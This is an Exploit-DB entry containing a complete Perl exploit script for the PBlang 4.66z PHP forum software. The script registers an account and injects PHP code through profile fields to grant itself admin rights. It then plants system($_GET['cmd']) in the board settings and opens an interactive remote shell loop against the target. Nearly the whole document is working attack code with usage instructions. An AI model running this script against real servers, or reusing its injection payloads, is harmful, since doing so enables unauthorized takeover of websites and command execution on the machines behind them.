Exploit-DB #3574
Description: PBlang 4.66z - Remote Code Execution
Type: webapps
Platform: php
Date: 2007-03-25
Author: Hessam-x

Exploit:
#!/usr/bin/perl
# PBlang 4.66z Remote Command Execution Exploit
# this Exploit *register* a user with admin access
# - magic_quotes_gpc = Off
# - Only work on 4.66z
#### Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net

use IO::Socket;
use LWP::UserAgent;
use HTTP::Cookies;


 $host = $ARGV[0];
 $uname = $ARGV[1];
 $passwd = $ARGV[2];
 $url = "http://".$host;

 print q(
 ###########################################################
 #      PBLANG 4.66z Remote Command Execution Exploit      #
 #                    www.Hessamx.Net                      #
 ################# (C)oded By Hessam-x #####################

);



 if (@ARGV < 3) {
 print " #  usage : xpl.pl [host&path] [uname] [pass]\n";
 print " #  e.g : xpl.pl www.milw0rm.com/pblang/ str0ke 123456\n";
 exit();
 }

   print " [~] User/[CREDENTIAL_REDACTED]/$passwd \n";
   print " [~] Host : $host \n";

 $evilcode  = " \$userlocation=\"hell\"; \$userjoined=\"[PII_REDACTED]\"; \$userhomepage=\"http://\";";
 $evilcode .= " \$useradmin=\"1\"; \$usermod=\"0\"; \$userban=\"0\"; \$userlastvisit=\"[PII_REDACTED]\";";
 $evilcode .= " \$userlastpost=\"[PII_REDACTED]\"; \$userprevvisit=\"[PII_REDACTED]\"; \$useranimsmilies=\"\"; \$lastaliaschange=\"[PII_REDACTED]\"; /*";

 $xpl = LWP::UserAgent->new() or die;
 $cookie_jar = HTTP::Cookies->new();

 $xpl->cookie_jar( $cookie_jar );

   #register
 $reg = $xpl->post($url.'register.php?reg=2',
 Content => [
 "user" => $uname,
 "pass" => $passwd,
 "pass2" => $passwd,
 "em" => 'evil@hell.com',
 "realname" => 'evilcode',
 "alias" => $uname,
 "msn" => 'evilcode',
 "icq" => 'evilcode',
 "aim" => 'evilcode',
 "yahoo" => 'evilcode',
 "qq" => 'evilcode',
 "web" => 'http://',
 "loc" => 'hell',
 "pt" => 'PBLang',
 "av" => 'none',
 "webav" =>'',
 "sig" => 'be Safe',
 "regcode" => '[PII_REDACTED]',
 "lang" => 'en',
 "accept" => '1',
 "Submit" => 'Submit',
 ],);
   print " [~] registered ... \n";

$login = $xpl->post($url.'login.php?id=2',
Content => [
'user' => $uname,
'pass' => $passwd,
'Submit' => 'submit',
],);
$setcookie = $xpl->post($url.'setcookie.php?u='.$uname);
 if($cookie_jar->as_string =~ /$uname/) {
   print " [~] Logined ... \n";
 } else {
 print " [-] Can not Login In $host !\n";
 exit();
 }
 $ecode = $xpl->post($url.'ucp.php?id=2&user='.$uname,
 Content => [
 "npass" => $passwd,
 "npass2" => $passwd,
 "oldpass" => $passwd,
 "emhide" => 'hide',
 "user" => $uname,
 "em" => 'evil@hell.com',
 "realname" => 'evilcode',
 "alias" => $uname,
 "msn" => 'evilcode',
 "icq" => 'evilcode',
 "aim" => 'evilcode\";'.$evilcode,
 "yah" => 'evilcode',
 "qq" => 'evilcode',
 "web" => 'http://',
 "loc" => 'hell',
 "pt" => 'PBLang',
 "av" => 'none',
 "webav" =>'',
 "sig" => '',
 "regcode" => '[PII_REDACTED]',
 "ulang" => '*/ \$userlang=\"en\"; //',
 "accept" => '1',
 "Submit2" => 'Submit',
 ],);
print " [+] change access to admin \n";
$syscode = "system(\$_GET[\'cmd\']); echo _END_ ; //";
$cmd  = 'echo 1 ; echo _START_ ; '.$syscode;
 $codesys = $xpl->post($url.'admin2.php?do=fsettings2',
 Content => [
"title" => 'Welcome',
"charsets" => 'Ciso-8859-15',
"motto" => 's', "bbgimage" => '2"; '.$cmd, "boardwidth" => '100', "boardalign" => 'center',
"frameset" => '_self', "maxposts" => '10', "maxppp" => '25', "maxrpp" => '10', "maxlatest" => '10',
"textareawidth" => '60', "allowem" => '1', "notifyadm" => '1', "notifyadmrepl" => '1',
"language" => 'en', "timezone" => '0', "mr" => 'Sorry', "banreason" => 'Access+is+denied',
"defslogan" => 'PBLang++is+super', "adminemail" => 'evil@hell.foo',
"emsupp" => '1', "smtpmail" => '0', "welcmess" => '', "allalias" => '1',"chalias" => '21',
"av" => '1',"webav" => '1', "avmaxwidth" => '100', "avmaxheight" => '60', "noatch" => '1',
"attachtypes" => 'txt', "maxatchsize" => '20000',
"minspace" => '10000000', "bbcode" => '1', "smilys" => '1', "allowreg" => '1', "chckip" => '1' ,"Submit" => 'Submit',
 ],);

   while ()
{
     print "\n[Shell]\$ ";
     chomp($exc=<STDIN>);
    &sys($exc);
}
sub sys($exc) {
     if ($exc eq 'exit') { exit() ; }
 $res = $xpl->get($url.'index.php?cmd='.$exc);
 @result = split(/\n/,$res->content);
 $runned = 0;
 $on = 0;
 for $res(@result) {
   if ($res =~ /^_END_/) { print "\n"; return 0; }
   if ($on == 0) { print "  $res\n"; }
   if ($res =~ /^_START_/) { $on = 1; $runned = 1; }
 }
   if (!$runned) { print "\n Can not execute command . EXPLOIT FAILED !\n" ; exit(); };

 }

print "\n #################################################### \n";

# milw0rm.com [2007-03-25]